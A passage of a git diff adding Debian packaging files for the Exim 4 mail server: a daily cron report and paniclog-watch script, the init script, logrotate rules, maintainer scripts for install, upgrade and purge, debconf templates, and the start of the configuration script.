+# The log processing code used in this cron script is not very
+# sophisticated. It relies on this cron job being executed earlier than
+# the log rotation job, and will have false results if the log is not
+# rotated exactly once daily in the daily cron processing. Even in the
+# default configuration, it will ignore log entries made between this
+# cron job and the log rotation job.
+
+# Patches for more sophisticated processing are appreciated via the
+# Debian BTS.
+
+E4BCD_MAINLOG_NOISE="^[[:digit:][:space:]:-]\{20\}\(\(Start\|End\) queue run: pid=[[:digit:]]\+\|exim [[:digit:]\.]\+ daemon started: pid=[[:digit:]]\+, .*\)$"
+
+if [ -n "$E4BCD_DAILY_REPORT_TO" ]; then
+ if [ -x "$(command -v eximstats)" ] && [ -x "$(command -v mail)" ]; then
+ if [ "$(< /var/log/exim4/mainlog grep -v "$E4BCD_MAINLOG_NOISE" | wc -l)" -gt "0" ]; then
+ < /var/log/exim4/mainlog grep -v "$E4BCD_MAINLOG_NOISE" \
+ | eximstats $E4BCD_DAILY_REPORT_OPTIONS \
+ | mail -s"$(hostname --fqdn) Daily e-mail activity report" \
+ $E4BCD_DAILY_REPORT_TO
+ else
+ echo "no mail activity in this interval" \
+ | mail -s"$(hostname --fqdn) Daily e-mail activity report" \
+ $E4BCD_DAILY_REPORT_TO
+ fi
+ else
+ echo "The exim4 cron job is configured to send a daily report, but eximstats"
+ echo "and/or mail cannot be found. Please check and make sure that these two"
+ echo "binaries are available"
+ fi
+fi
+
+log_this() {
+ TEXT="$@"
+ if ! logger -t exim4 -p mail.alert $TEXT; then
+ RET="$?"
+ echo >&2 "ALERT: could not syslog $TEXT, logger return value $RET"
+ fi
+}
+
+if [ "$E4BCD_WATCH_PANICLOG" != "no" ]; then
+ if [ -s "/var/log/exim4/paniclog" ]; then
+ if [ -x "/usr/local/lib/exim4/nonzero_paniclog_hook" ]; then
+ /usr/local/lib/exim4/nonzero_paniclog_hook
+ fi
+ if [ -z "$E4BCD_PANICLOG_NOISE" ] || grep -vq "$E4BCD_PANICLOG_NOISE" /var/log/exim4/paniclog; then
+ log_this "ALERT: exim paniclog /var/log/exim4/paniclog has non-zero size, mail system possibly broken"
+ if ! printf "Subject: exim paniclog on %s has non-zero size\nTo: root\n\nexim paniclog /var/log/exim4/paniclog on %s has non-zero size, mail system might be broken. The last ${E4BCD_PANICLOG_LINES} lines are quoted below.\n\n%s\n" \
+ "$(hostname --fqdn)" "$(hostname --fqdn)" \
+ "$(tail -n "${E4BCD_PANICLOG_LINES}" /var/log/exim4/paniclog)" \
+ | exim4 root; then
+ log_this "PANIC: sending out e-mail warning has failed, exim has non-zero return code"
+ fi
+ if [ "$E4BCD_WATCH_PANICLOG" = "once" ]; then
+ logrotate -f /etc/logrotate.d/exim4-paniclog
+ fi
+ fi
+ fi
+fi
+
+# run tidydb as Debian-exim:Debian-exim.
+if [ -x /usr/sbin/exim_tidydb ]; then
+ cd $SPOOLDIR/db || exit 1
+ if ! find $SPOOLDIR/db -maxdepth 1 -name '*.lockfile' -or -name 'log.*' \
+ -or -type f -printf '%f\0' | \
+ xargs -0r -n 1 \
+ start-stop-daemon --start --exec /usr/sbin/exim_tidydb \
+ --chuid Debian-exim:Debian-exim -- $SPOOLDIR > /dev/null; then
+ # if we reach this, invoking exim_tidydb from start-stop-daemon has
+ # failed, most probably because of libpam-tmpdir being in use
+ # (see #373786 and #376165)
+ find $SPOOLDIR/db -maxdepth 1 -name '*.lockfile' -or -name 'log.*' \
+ -or -type f -printf '%f\0' | \
+ runuser --shell=/bin/bash \
+ --command="xargs -0r -n 1 /usr/sbin/exim_tidydb $SPOOLDIR > /dev/null" \
+ Debian-exim
+ fi
+fi
diff --git a/debian/exim4-base.dirs b/debian/exim4-base.dirs
new file mode 100644
index 0000000..f45547e
--- /dev/null
+++ b/debian/exim4-base.dirs
@@ -0,0 +1,5 @@
+/etc/cron.daily
+/etc/logrotate.d
+/usr/sbin
+/usr/share/doc/exim4-base/examples
+/usr/share/man/man8
diff --git a/debian/exim4-base.doc-base.debian b/debian/exim4-base.doc-base.debian
new file mode 100644
index 0000000..1d94cb5
--- /dev/null
+++ b/debian/exim4-base.doc-base.debian
@@ -0,0 +1,9 @@
+Document: exim4-readme-debian
+Title: Debian-specific documentation for Exim 4
+Author: Various
+Abstract: This file documents specific details of the Exim4 Debian packages.
+Section: Network/Communication
+
+Format: html
+Index: /usr/share/doc/exim4-base/README.Debian.html
+Files: /usr/share/doc/exim4-base/README.Debian.html
diff --git a/debian/exim4-base.doc-base.filter b/debian/exim4-base.doc-base.filter
new file mode 100644
index 0000000..2cf5915
--- /dev/null
+++ b/debian/exim4-base.doc-base.filter
@@ -0,0 +1,8 @@
+Document: exim4-filter-txt
+Title: Exim's interface to mail filtering
+Author: Various
+Abstract: Description of the user interface to Exim's in-built mail filtering facility. This is the text version.
+Section: Network/Communication
+
+Format: text
+Files: /usr/share/doc/exim4-base/filter.txt.gz
diff --git a/debian/exim4-base.doc-base.spec b/debian/exim4-base.doc-base.spec
new file mode 100644
index 0000000..2f57532
--- /dev/null
+++ b/debian/exim4-base.doc-base.spec
@@ -0,0 +1,8 @@
+Document: exim4-spec-txt
+Title: Exim specification
+Author: Various
+Abstract: Exim reference manual. This is the text version.
+Section: Network/Communication
+
+Format: text
+Files: /usr/share/doc/exim4-base/spec.txt.gz
diff --git a/debian/exim4-base.docs b/debian/exim4-base.docs
new file mode 100644
index 0000000..b785cea
--- /dev/null
+++ b/debian/exim4-base.docs
@@ -0,0 +1,15 @@
+b-exim4-daemon-light/ACKNOWLEDGMENTS
+b-exim4-daemon-light/NOTICE
+b-exim4-daemon-light/README.UPDATING
+b-exim4-daemon-light/doc/Exim3.upgrade
+b-exim4-daemon-light/doc/Exim4.upgrade
+b-exim4-daemon-light/doc/GnuTLS-FAQ.txt
+b-exim4-daemon-light/doc/NewStuff
+b-exim4-daemon-light/doc/OptionLists.txt
+b-exim4-daemon-light/doc/README
+b-exim4-daemon-light/doc/README.SIEVE
+b-exim4-daemon-light/doc/dbm.discuss.txt
+b-exim4-daemon-light/doc/filter.txt
+b-exim4-daemon-light/doc/spec.txt
+debian/README.Debian.html
+debian/changelog.Debian.old
diff --git a/debian/exim4-base.examples b/debian/exim4-base.examples
new file mode 100644
index 0000000..88bad16
--- /dev/null
+++ b/debian/exim4-base.examples
@@ -0,0 +1,5 @@
+b-exim4-daemon-light/util/cramtest.pl
+b-exim4-daemon-light/util/logargs.sh
+b-exim4-daemon-light/util/unknownuser.sh
+debian/exim-adduser
+debian/exim-gencert
diff --git a/debian/exim4-base.exim4-paniclog.logrotate b/debian/exim4-base.exim4-paniclog.logrotate
new file mode 100644
index 0000000..dd36d68
--- /dev/null
+++ b/debian/exim4-base.exim4-paniclog.logrotate
@@ -0,0 +1,10 @@
+/var/log/exim4/paniclog {
+ size 10M
+ missingok
+ rotate 10
+ compress
+ delaycompress
+ notifempty
+ create 640 Debian-exim adm
+}
+
diff --git a/debian/exim4-base.exim4.init b/debian/exim4-base.exim4.init
new file mode 100644
index 0000000..61f2aff
--- /dev/null
+++ b/debian/exim4-base.exim4.init
@@ -0,0 +1,289 @@
+#! /bin/sh
+# /etc/init.d/exim4
+#
+# Written by Miquel van Smoorenburg <miquels@drinkel.ow.org>.
+# Modified for Debian GNU/Linux by Ian Murdock <imurdock@gnu.ai.mit.edu>.
+# Modified for exim by Tim Cutts <timc@chiark.greenend.org.uk>
+# Modified for exim4 by Andreas Metzler <ametzler@debian.org>
+# and Marc Haber <mh+debian-packages@zugschlus.de>
+
+### BEGIN INIT INFO
+# Provides: exim4
+# Required-Start: $remote_fs $syslog $named $network $time
+# Required-Stop: $remote_fs $syslog $named $network
+# Should-Start: postgresql mysql clamav-daemon greylist spamassassin
+# Should-Stop: postgresql mysql clamav-daemon greylist spamassassin
+# Default-Start: 2 3 4 5
+# Default-Stop: 0 1 6
+# Short-Description: exim Mail Transport Agent
+# Description: exim is a Mail Transport agent
+### END INIT INFO
+
+set -e
+
+test -x /usr/lib/exim4/exim4 || exit 0
+
+. /lib/lsb/init-functions
+
+if [ -n "$EX4DEBUG" ]; then
+ echo "now debugging $0 $@"
+ set -x
+fi
+
+LANG=C
+export LANG
+
+#read default file
+QUEUERUNNER='combined'
+QUEUEINTERVAL='30m'
+UPEX4OPTS=''
+[ -f /etc/default/exim4 ] && . /etc/default/exim4
+PIDFILE="/run/exim4/exim.pid"
+QRPIDFILE="/run/exim4/eximqr.pid"
+
+upex4conf() {
+ UPEX4CONF="update-exim4.conf"
+ OLDIFS="$IFS"
+ IFS=:
+ for p in $PATH; do
+ if [ -x "$p/$UPEX4CONF" ]; then
+ IFS="$OLDIFS"
+ $p/$UPEX4CONF $UPEX4OPTS $1
+ return 0
+ fi
+ done
+ IFS="$OLDIFS"
+}
+
+# Exit if exim runs from /etc/inetd.conf
+if [ -f /etc/inetd.conf ] && grep -E -q '^[[:space:]]*((\*|[[:alnum:].-]+):)?smtp[[:space:]]' /etc/inetd.conf
+then
+ upex4conf
+ exit 0
+fi
+
+
+DAEMON="/usr/sbin/exim4"
+NAME="exim4"
+
+# this is from madduck on IRC, 2006-07-06
+# There should be a better possibility to give daemon error messages
+# and/or to log things
+log()
+{
+ case "$1" in
+ [[:digit:]]*) success=$1; shift;;
+ *) :;;
+ esac
+ log_action_begin_msg "$1"; shift
+ log_action_end_msg ${success:-0} "$*"
+}
+
+start_exim()
+{
+ [ -e /run/exim4 ] || \
+ install -d -oDebian-exim -gDebian-exim -m750 /run/exim4
+ case ${QUEUERUNNER} in
+ combined)
+ start_daemon -p "$PIDFILE" \
+ "$DAEMON" -bd "-q${QFLAGS}${QUEUEINTERVAL}" \
+ ${COMMONOPTIONS} \
+ ${QUEUERUNNEROPTIONS} \
+ ${SMTPLISTENEROPTIONS}
+ log_progress_msg "exim4"
+ ;;
+ separate)
+ start_daemon -p "$PIDFILE" \
+ "$DAEMON" -bd \
+ ${COMMONOPTIONS} \
+ ${SMTPLISTENEROPTIONS}
+ log_progress_msg "exim4_listener"
+ start_daemon -p "$QRPIDFILE" \
+ "$DAEMON" -oP $QRPIDFILE \
+ "-q${QFLAGS}${QUEUEINTERVAL}" \
+ ${COMMONOPTIONS} \
+ ${QUEUERUNNEROPTIONS}
+ log_progress_msg "exim4_queuerunner"
+ ;;
+ queueonly)
+ start_daemon -p "$PIDFILE" \
+ "$DAEMON" -oP $PIDFILE \
+ "-q${QFLAGS}${QUEUEINTERVAL}" \
+ ${COMMONOPTIONS} \
+ ${QUEUERUNNEROPTIONS}
+ log_progress_msg "exim4_queuerunner"
+ ;;
+ no|ppp)
+ start_daemon -p "$PIDFILE" \
+ "$DAEMON" -bd \
+ ${COMMONOPTIONS} \
+ ${SMTPLISTENEROPTIONS}
+ log_progress_msg "exim4_listener"
+ ;;
+ nodaemon)
+ ;;
+ esac
+}
+
+stop_exim()
+{
+# we try to kill eximqr and exim SMTP listener, no matter what
+# ${QUEUERUNNER} is set to, we could have switched since starting.
+ if [ -f "$QRPIDFILE" ]; then
+ start-stop-daemon --stop --retry 5 --quiet --oknodo --remove-pidfile \
+ --pidfile "$QRPIDFILE" \
+ --exec "$DAEMON"
+ # exim does not remove the pidfile
+ if [ $? -eq 2 ] ; then rm -f "$QRPIDFILE" ; fi
+ log_progress_msg "exim4_queuerunner"
+ fi
+ if [ -f "$PIDFILE" ]; then
+ start-stop-daemon --stop --retry 5 --quiet --oknodo --remove-pidfile \
+ --pidfile "$PIDFILE" \
+ --exec "$DAEMON"
+ # exim does not remove the pidfile
+ if [ $? -eq 2 ] ; then rm -f "$PIDFILE" ; fi
+ log_progress_msg "exim4_listener"
+ fi
+}
+
+reload_exim()
+{
+ case ${QUEUERUNNER} in
+ combined|no|ppp|queueonly)
+ start-stop-daemon --stop --signal HUP --quiet --oknodo \
+ --pidfile "$PIDFILE" \
+ --exec "$DAEMON"
+ log_progress_msg "exim4"
+ ;;
+ separate)
+ start-stop-daemon --stop --signal HUP --quiet --oknodo \
+ --pidfile "$PIDFILE" \
+ --exec "$DAEMON"
+ log_progress_msg "exim4_listener"
+ start-stop-daemon --stop --signal HUP --quiet --oknodo \
+ --pidfile "$QRPIDFILE" \
+ --exec "$DAEMON"
+ log_progress_msg "exim4_queuerunner"
+ ;;
+ esac
+}
+
+kill_all_exims()
+{ SIG="${1:-TERM}"
+ for pid in $(pidof $NAME); do
+ if [ "$(readlink /proc/$pid/root)" = "/" ]; then
+ kill -$SIG $pid
+ fi
+ done
+}
+
+status()
+{
+ # the exit value of this function reflects the status of the SMTP
+ # service. Output shows the status of the queue runner as well.
+ SMTPNAME="SMTP listener daemon"
+ QRNAME="separate queue runner daemon"
+ if [ "${QUEUERUNNER}" = "combined" ]; then
+ SMTPNAME="combined SMTP listener and queue runner daemon"
+ elif [ "${QUEUERUNNER}" = "queueonly" ]; then
+ SMTPNAME="separate queue runner daemon"
+ fi
+ log_action_begin_msg "checking $QRNAME"
+ if pidofproc -p "$QRPIDFILE" "$DAEMON" >/dev/null; then
+ log_action_end_msg 0 "running"
+ else
+ if [ -e "$QRPIDFILE" ]; then
+ log_action_end_msg 1 "$QRNAME failed"
+ else
+ log_action_end_msg 0 "not running"
+ fi
+ fi
+ log_action_begin_msg "checking $SMTPNAME"
+ if pidofproc -p "$PIDFILE" "$DAEMON" >/dev/null; then
+ log_action_end_msg 0 "running"
+ exit 0
+ else
+ if [ -e "$PIDFILE" ]; then
+ log_action_end_msg 1 "$SMTPNAME failed"
+ exit 1
+ else
+ log_action_end_msg 0 "not running"
+ exit 3
+ fi
+ fi
+}
+
+# check for valid configuration file
+isconfigvalid()
+{
+if ! $DAEMON -bV > /dev/null ; then
+ log 1 "Warning! Invalid configuration file for $NAME. Exiting."
+ exit 1
+fi
+}
+
+# check for non-empty paniclog
+warn_paniclog()
+{
+ if [ -s "/var/log/exim4/paniclog" ]; then
+ if [ -z "$E4BCD_PANICLOG_NOISE" ] || grep -vq "$E4BCD_PANICLOG_NOISE" /var/log/exim4/paniclog; then
+ echo "ALERT: exim paniclog /var/log/exim4/paniclog has non-zero size, mail system possibly broken" 1>&2
+ fi
+ fi
+}
+
+case "$1" in
+ start)
+ log_daemon_msg "Starting MTA"
+ # regenerate exim4.conf
+ upex4conf
+ isconfigvalid
+ start_exim
+ log_end_msg 0
+ warn_paniclog
+ ;;
+ stop)
+ log_daemon_msg "Stopping MTA"
+ stop_exim
+ log_end_msg 0
+ warn_paniclog
+ ;;
+ restart)
+ # check whether newly generated config would work
+ upex4conf --check
+ log_daemon_msg "Stopping MTA for restart"
+ stop_exim
+ # regenerate exim4.conf
+ upex4conf
+ isconfigvalid
+ log_end_msg 0
+ sleep 2
+ log_daemon_msg "Restarting MTA"
+ start_exim
+ log_end_msg 0
+ warn_paniclog
+ ;;
+ reload|force-reload)
+ log_daemon_msg "Reloading $NAME configuration files"
+ # regenerate exim4.conf
+ upex4conf
+ isconfigvalid
+ reload_exim
+ log_end_msg 0
+ warn_paniclog
+ ;;
+ status)
+ status
+ ;;
+ force-stop)
+ kill_all_exims $2
+ ;;
+ *)
+ echo "Usage: $0 {start|stop|restart|reload|status|force-stop}"
+ exit 1
+ ;;
+esac
+
+exit 0
+# vim:tabstop=2:expandtab:shiftwidth=2
diff --git a/debian/exim4-base.install b/debian/exim4-base.install
new file mode 100644
index 0000000..1578048
--- /dev/null
+++ b/debian/exim4-base.install
@@ -0,0 +1,3 @@
+debian/exim4_refresh_gnutls-params usr/share/exim4
+debian/gnutls-params-2048 usr/share/exim4
+debian/script usr/share/bug/exim4-base
diff --git a/debian/exim4-base.links b/debian/exim4-base.links
new file mode 100644
index 0000000..eb0ad89
--- /dev/null
+++ b/debian/exim4-base.links
@@ -0,0 +1,3 @@
+usr/share/man/man8/exim_db.8.gz usr/share/man/man8/exim_dumpdb.8.gz
+usr/share/man/man8/exim_db.8.gz usr/share/man/man8/exim_fixdb.8.gz
+usr/share/man/man8/exim_db.8.gz usr/share/man/man8/exim_tidydb.8.gz
diff --git a/debian/exim4-base.logrotate b/debian/exim4-base.logrotate
new file mode 100644
index 0000000..ac31dd4
--- /dev/null
+++ b/debian/exim4-base.logrotate
@@ -0,0 +1,9 @@
+/var/log/exim4/mainlog /var/log/exim4/rejectlog {
+ daily
+ missingok
+ rotate 10
+ compress
+ delaycompress
+ notifempty
+ create 640 Debian-exim adm
+}
diff --git a/debian/exim4-base.manpages b/debian/exim4-base.manpages
new file mode 100644
index 0000000..af32720
--- /dev/null
+++ b/debian/exim4-base.manpages
@@ -0,0 +1,12 @@
+b-exim4-daemon-light/doc/exim.8
+debian/manpages/exicyclog.8
+debian/manpages/exigrep.8
+debian/manpages/exim_checkaccess.8
+debian/manpages/exim_convert4r4.8
+debian/manpages/exim_db.8
+debian/manpages/exim_dbmbuild.8
+debian/manpages/exim_lock.8
+debian/manpages/exinext.8
+debian/manpages/exiqgrep.8
+debian/manpages/exiqsumm.8
+debian/manpages/exiwhat.8
diff --git a/debian/exim4-base.postinst b/debian/exim4-base.postinst
new file mode 100644
index 0000000..4972855
--- /dev/null
+++ b/debian/exim4-base.postinst
@@ -0,0 +1,103 @@
+#!/bin/sh
+
+set -e
+. /usr/share/debconf/confmodule
+
+if [ -n "$EX4DEBUG" ]; then
+ echo "now debugging $0 $@"
+ set -x
+fi
+
+db_version 2.0
+
+BDBVERSION=5.3
+
+case "$1" in
+ configure)
+
+ if ! getent passwd Debian-exim > /dev/null ; then
+ echo 'Adding system-user for exim (v4)' 1>&2
+ adduser --system --group --quiet --home /var/spool/exim4 \
+ --no-create-home --disabled-login --force-badname Debian-exim
+ fi
+ # Create directories for log etc
+ # install also fixes permissions.
+ install -d -oDebian-exim -gadm -m2750 /var/log/exim4
+ install -d -oDebian-exim -gDebian-exim -m750 /run/exim4
+ install -d -oDebian-exim -gDebian-exim -m750 /var/spool/exim4
+ install -d -oDebian-exim -gDebian-exim -m750 /var/spool/exim4/db \
+ /var/spool/exim4/input /var/spool/exim4/msglog
+
+ # fix permissions on upgrades
+ if dpkg --compare-versions "$2" le "4.30-1" ; then
+ find /var/log/exim4 /var/spool/exim4 -group mail \
+ \( -type f -or -type d \) -print0 | \
+ xargs -0r chgrp Debian-exim
+ find /var/log/exim4 /var/spool/exim4 -user mail \
+ \( -type f -or -type d \) -print0 | \
+ xargs -0r chown Debian-exim
+ fi
+
+ # Paranoia check: On any db upgrade throw away hints
+ # databases.
+ if test -r /var/lib/exim4/berkeleydbvers.txt ; then
+ OLDBDB=`head -n1 /var/lib/exim4/berkeleydbvers.txt`
+ else
+ OLDBDB="unknown"
+ fi
+ if [ "$BDBVERSION" != "$OLDBDB" ] ; then
+ echo exim: DB upgrade, deleting hints-db 1>&2
+ rm -f /var/spool/exim4/db/misc-* /var/spool/exim4/db/wait-* \
+ /var/spool/exim4/db/callout* \
+ /var/spool/exim4/db/retry* \
+ /var/spool/exim4/db/ratelimit* \
+ /var/spool/exim4/db/__db.retry \
+ /var/spool/exim4/db/__db.misc* \
+ /var/spool/exim4/db/__db.callout \
+ /var/spool/exim4/db/__db.ratelimit \
+ /var/spool/exim4/db/__db.wait* \
+ /var/spool/exim4/db/log.*
+ echo "$BDBVERSION" > /var/lib/exim4/berkeleydbvers.txt
+ fi
+ # Check that db files are readable by this Exim's db library
+ dbfiles=""
+ for f in /var/spool/exim4/db/misc-* /var/spool/exim4/db/wait-* \
+ /var/spool/exim4/db/callout* /var/spool/exim4/db/retry* \
+ /var/spool/exim4/db/ratelimit* ; do
+ if [ -f "$f" ]; then
+ if echo $f | grep \.lockfile\$ >/dev/null 2>&1; then
+ : # ignore lock files
+ else
+ dbfiles="$dbfiles $(basename $f)"
+ fi
+ fi
+ done
+ for dbfile in $dbfiles; do
+ if exim_dumpdb /var/spool/exim4 $dbfile >/dev/null 2>&1; then
+ : # File OK
+ else
+ echo "Resetting invalid $dbfile hints db" 1>&2
+ rm -f /var/spool/exim4/db/$dbfile \
+ /var/spool/exim4/db/$dbfile.* \
+ /var/spool/exim4/db/__db.${dbfile}.* \
+ /var/spool/exim4/db/log.*
+ fi
+ done
+
+ if [ -x "/etc/init.d/exim4" ]; then
+ update-rc.d exim4 defaults >/dev/null
+ fi
+
+ # honor dpkg-statoverride settings for files not managed with dpkg
+ for pat in /var/\*/exim4 /var/\*/exim4/\*; do
+ [ $EX4DEBUG ] && eval echo "evaluate statoverride $pat"
+ eval dpkg-statoverride --list $pat | while read USER GROUP MODE FILE; do
+ [ $EX4DEBUG ] && echo "statoverride $USER $GROUP $MODE $FILE"
+ chown ${USER}:${GROUP} $FILE
+ chmod $MODE $FILE
+ done
+ done
+ ;;
+esac
+
+#DEBHELPER#
diff --git a/debian/exim4-base.postrm b/debian/exim4-base.postrm
new file mode 100644
index 0000000..a543546
--- /dev/null
+++ b/debian/exim4-base.postrm
@@ -0,0 +1,65 @@
+#!/bin/sh
+
+set -e
+
+if [ -e /usr/share/debconf/confmodule ] ; then
+ . /usr/share/debconf/confmodule
+ export debconfavailable="yes"
+fi
+
+if [ -n "$EX4DEBUG" ]; then
+ echo "now debugging $0 $@"
+ set -x
+fi
+
+case "$1" in
+ remove)
+ # work around apt purging -base before even removing -daemon #261994.
+ # postrm is good enough, we just need the init-script which is a conffile.
+ if [ -x /etc/init.d/exim4 ]; then
+ if [ -n "$EX4DEBUG" ]; then
+ netstat -tulpen
+ ls -al /run/exim4/
+ cat /run/exim4/exim.pid
+ pidof exim4
+ fi
+ invoke-rc.d exim4 stop
+ if [ -n "$EX4DEBUG" ]; then
+ netstat -tulpen
+ ls -al /run/exim4/
+ cat /run/exim4/exim.pid
+ pidof exim4
+ if pidof exim4; then
+ echo >&2 "WARN: There are some exim4 processes still running after stopping exim"
+ fi
+ fi
+ fi
+ rm -f /var/lib/exim4/berkeleydbvers.txt
+ ;;
+ purge)
+ update-rc.d exim4 remove > /dev/null
+
+ # ask about purging mailqueue if debconf is available, keep it
+ # otherwise
+ if [ -e /var/spool/exim4/input ] \
+ && ! rmdir /var/spool/exim4/input 2>/dev/null \
+ && [ "$debconfavailable" = "yes" ]; then
+ db_version 2.0
+ db_input medium exim4/purge_spool || true
+ db_go || true
+ db_get exim4/purge_spool
+ purge_spool="$RET"
+ if [ "${purge_spool}" = "true" ] ; then
+ rm -rf /var/spool/exim4/input
+ fi
+ fi
+
+ # remove logs and pid-dir.
+ rm -rf /run/exim4 /var/log/exim4 /var/spool/exim4/msglog \
+ /var/spool/exim4/db /var/spool/exim4/exim-process.info \
+ /var/spool/exim4/gnutls-params*
+ rmdir /var/spool/exim4 /var/lib/exim4 2> /dev/null || true
+ ;;
+esac
+
+#DEBHELPER#
diff --git a/debian/exim4-base.preinst b/debian/exim4-base.preinst
new file mode 100644
index 0000000..6b21759
--- /dev/null
+++ b/debian/exim4-base.preinst
@@ -0,0 +1,35 @@
+#! /bin/sh
+
+set -e
+
+
+# Remove a no-longer used conffile
+rm_conffile() {
+ local PKGNAME="$1"
+ local CONFFILE="$2"
+
+ [ -e "$CONFFILE" ] || return 0
+
+ local md5sum="$(md5sum $CONFFILE | sed -e 's/ .*//')"
+ local old_md5sum="$(dpkg-query -W -f='${Conffiles}' $PKGNAME | \
+ sed -n -e "\' $CONFFILE ' { s/ obsolete$//; s/.* //; p }")"
+ if [ "$md5sum" != "$old_md5sum" ]; then
+ echo "Obsolete conffile $CONFFILE has been modified by you."
+ echo "Saving as $CONFFILE.dpkg-bak ..."
+ mv -f "$CONFFILE" "$CONFFILE".dpkg-bak
+ else
+ echo "Removing obsolete conffile $CONFFILE ..."
+ rm -f "$CONFFILE"
+ fi
+}
+
+case "$1" in
+install|upgrade)
+ # Remove post-wheezy
+ if test -e /etc/cron.monthly/exim4-base && \
+ dpkg --compare-versions "$2" le "4.80-7~"; then
+ rm_conffile mypackage "/etc/cron.monthly/exim4-base"
+ fi
+esac
+
+#DEBHELPER#
diff --git a/debian/exim4-base.templates b/debian/exim4-base.templates
new file mode 100644
index 0000000..ecda4fd
--- /dev/null
+++ b/debian/exim4-base.templates
@@ -0,0 +1,17 @@
+Template: exim4/purge_spool
+Type: boolean
+Default: false
+_Description: Remove undelivered messages in spool directory?
+ There are e-mail messages in the Exim spool directory
+ /var/spool/exim4/input/ which have not yet been delivered. Removing
+ Exim will cause them to remain undelivered until Exim is re-installed.
+ .
+ If this option is not chosen, the spool directory is kept, allowing
+ the messages in the queue to be delivered at a later date after
+ Exim is re-installed.
+
+Template: exim4-base/drec
+Type: error
+_Description: Reconfigure exim4-config instead of this package
+ Exim4 has its configuration factored out into a dedicated package,
+ exim4-config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'.
diff --git a/debian/exim4-config.config b/debian/exim4-config.config
new file mode 100644
index 0000000..2c01faa
--- /dev/null
+++ b/debian/exim4-config.config
@@ -0,0 +1,820 @@
+#!/bin/sh
+set -e
+
+alias stripwhitespace="sed -e 's/^[[:blank:]]*//' -e 's/[[:blank:]]*$//'"
+
+installeddebconfversion="$(dpkg -s debconf | sed -ne '/^Version/s/^Version: //p')"
+if [ "reconfigure" != "$1" ] && \
+ dpkg --compare-versions "${installeddebconfversion}" "le" "1.4" && \
+ [ "$exim4postinstisrunning" != "true" ] ; then
+ echo "exim4-config.postinst: [WARN] Installed debconf version is broken. Aborting preconfigure." 1>&2
+ exit 0
+fi
+
+. /usr/share/debconf/confmodule
+
+if [ -n "$EX4DEBUG" ]; then
+ echo "now debugging $0 $@"
+ set -x
+fi
+
+UE4CC="/etc/exim4/update-exim4.conf.conf"
+
+convert_to_long ()
+{
+ case "$1" in
+ internet)
+ echo -n "internet site; mail is sent and received directly using SMTP"
+ ;;
+ smarthost)
+ echo -n "mail sent by smarthost; received via SMTP or fetchmail"
+ ;;
+ satellite)
+ echo -n "mail sent by smarthost; no local mail"
+ ;;
+ local)
+ echo -n "local delivery only; not on a network"
+ ;;
+ none)
+ echo -n "no configuration at this time"
+ ;;
+ esac
+}
+convert_to_short ()
+{
+ case "$1" in
+ "internet site; mail is sent and received directly using SMTP")
+ echo -n "internet"
+ ;;
+ "mail sent by smarthost; received via SMTP or fetchmail")
+ echo -n "smarthost"
+ ;;
+ "mail sent by smarthost; no local mail")
+ echo -n "satellite"
+ ;;
+ "local delivery only; not on a network")
+ echo -n "local"
+ ;;
+ "no configuration at this time")
+ echo -n "none"
+ ;;
+ esac
+}
+
+convert_transport_to_long ()
+{
+ case "$1" in
+ maildir_home)
+ echo -n "Maildir format in home directory"
+ ;;
+ mail_spool)
+ echo -n "mbox format in /var/mail/"
+ ;;
+ *)
+ echo -n "locally customized"
+ ;;
+ esac
+}
+convert_transport_to_short ()
+{
+ case "$1" in
+ "Maildir format in home directory")
+ echo -n "maildir_home"
+ ;;
+ "mbox format in /var/mail/")
+ echo -n "mail_spool"
+ ;;
+ *)
+ echo -n "custom"
+ ;;
+ esac
+}
+
+# store environment variables in debconf db.
+storevar2db() {
+ dc_eximconfig_configtype="$(printf '%s\n' "${dc_eximconfig_configtype}" | stripwhitespace)"
+ dc_local_interfaces="$(printf '%s\n' "${dc_local_interfaces}" | stripwhitespace)"
+ dc_other_hostnames="$(printf '%s\n' "${dc_other_hostnames}" | stripwhitespace)"
+ dc_readhost="$(printf '%s\n' "${dc_readhost}" | stripwhitespace)"
+ dc_relay_domains="$(printf '%s\n' "${dc_relay_domains}" | stripwhitespace)"
+ dc_relay_nets="$(printf '%s\n' "${dc_relay_nets}" | stripwhitespace)"
+ dc_smarthost="$(printf '%s\n' "${dc_smarthost}" | stripwhitespace)"
+ dc_minimaldns="$(printf '%s\n' "${dc_minimaldns}" | stripwhitespace)"
+ dc_use_split_config="$(printf '%s\n' "${dc_use_split_config}" | stripwhitespace)"
+ dc_hide_mailname="$(printf '%s\n' "${dc_hide_mailname}" | stripwhitespace)"
+ # store externally changed values to debconf.db
+ db_set exim4/dc_eximconfig_configtype \
+ "$(convert_to_long ${dc_eximconfig_configtype})"
+ db_set exim4/dc_local_interfaces "${dc_local_interfaces}"
+ db_set exim4/dc_other_hostnames "${dc_other_hostnames}"
+ db_set exim4/dc_readhost "${dc_readhost}"
+ db_set exim4/dc_relay_domains "${dc_relay_domains}"
+ db_set exim4/dc_relay_nets "${dc_relay_nets}"
+ db_set exim4/dc_smarthost "${dc_smarthost}"
+ if [ "${dc_minimaldns}" != "" ]; then
+ db_set exim4/dc_minimaldns "${dc_minimaldns}"
+ fi
+ db_set exim4/use_split_config "${dc_use_split_config}"
+ db_set exim4/hide_mailname "${dc_hide_mailname}"
+ # do not store "locally customized" in debconf db, otherwise simply
+ # removing the custom dc_localdelivery from ue4cc won't work.
+ if [ "${dc_localdelivery}" != "" ] &&
+ [ "$(convert_transport_to_long ${dc_localdelivery})" != "locally customized" ] ; then
+ db_set exim4/dc_localdelivery \
+ "$(convert_transport_to_long ${dc_localdelivery})"
+ fi
+ db_fset "exim4/dc_other_hostnames" mailname "${dc_mailname_in_oh}"
+}
+
+# ipv6: replace double colons in colon-separated host lists with umlaut-o
+# replace ':' with ' : ', add leading and ending whitespace.
+# return empty string if custom delimiter was used:
+ # local_domains = <; 172.16.0.0/12; 3ffe:ffff:836f::/48
+# e.g: 'localhost : 172.16.0.1 :3ffe::ffff::836f::::: foo.org'
+# ===> ' localhost : 172.16.0.1 : 3ffeöffffö836föö : foo.org '
+alias coloncolon2oe="env -u LC_ALL LC_CTYPE=C sed -e 's/[[:blank:]]*//g' -e '/^</d' -e 's/:::::/:öö/g' -e 's/::::/öö/g' -e 's/:::/:ö/g' -e 's/::/ö/g' -e 's/:/ : /g' -e 's/^/ /' -e 's/$/ /'"
+
+# try to parse exim3 configuration file - works only if it was generated
+# with eximconfig.
+parseexim3() {
+ dc_mailname="$(head -n 1 /etc/mailname | stripwhitespace)" || true
+
+ # get the .... entries from
